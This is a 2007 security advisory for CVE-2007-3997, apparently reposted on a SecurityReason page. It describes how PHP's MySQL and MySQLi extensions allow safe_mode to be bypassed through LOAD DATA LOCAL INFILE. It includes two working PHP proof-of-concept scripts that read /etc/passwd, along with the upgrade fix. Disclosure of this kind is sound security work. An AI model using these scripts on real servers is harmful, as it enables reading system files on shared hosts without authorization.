PHP MySQL/MySQLi Safe Mode Bypass Vulnerability

Advisory Content :

PHP MySQL/MySQLi Safe Mode Bypass Vulnerability

Affected Products:
<= PHP 5.2.3
<= PHP 4.4.7

Authors:
Mattias Bengtsson <mattias@secweb.se>
Philip Olausson <po@secweb.se>

Reported:
2007-06-05

Released:
2007-08-30

CVE:
CVE-2007-3997

Issue:

A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be
used to bypass PHP's safe_mode security restriction.

Description:

PHP is a widely-used general-purpose scripting language that is especially
suited for Web development and can be embedded into HTML.

Details:

By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security
restriction. An important thing here is that we can't rely on the shared
hosts MySQLds local-infile=0 option. This because of it being a server
option, so it will not have any effect on the client. To disable this
option for MySQL we need to compile libmysqlclient with
--disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while
connecting. PHP does this when open_basedir are in effect but lacks a check
for safe_mode.

For MySQLi compiling with --disable-local-infile won't help because we
could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);

Proof Of Concepts:

MySQL:

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

Impact:

This issue could have major impact on shared hosting systems.

Solution:

Upgrade PHP to 5.2.4 or 4.4.8

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

PHP MySQL/MySQLi Safe Mode Bypass Vulnerability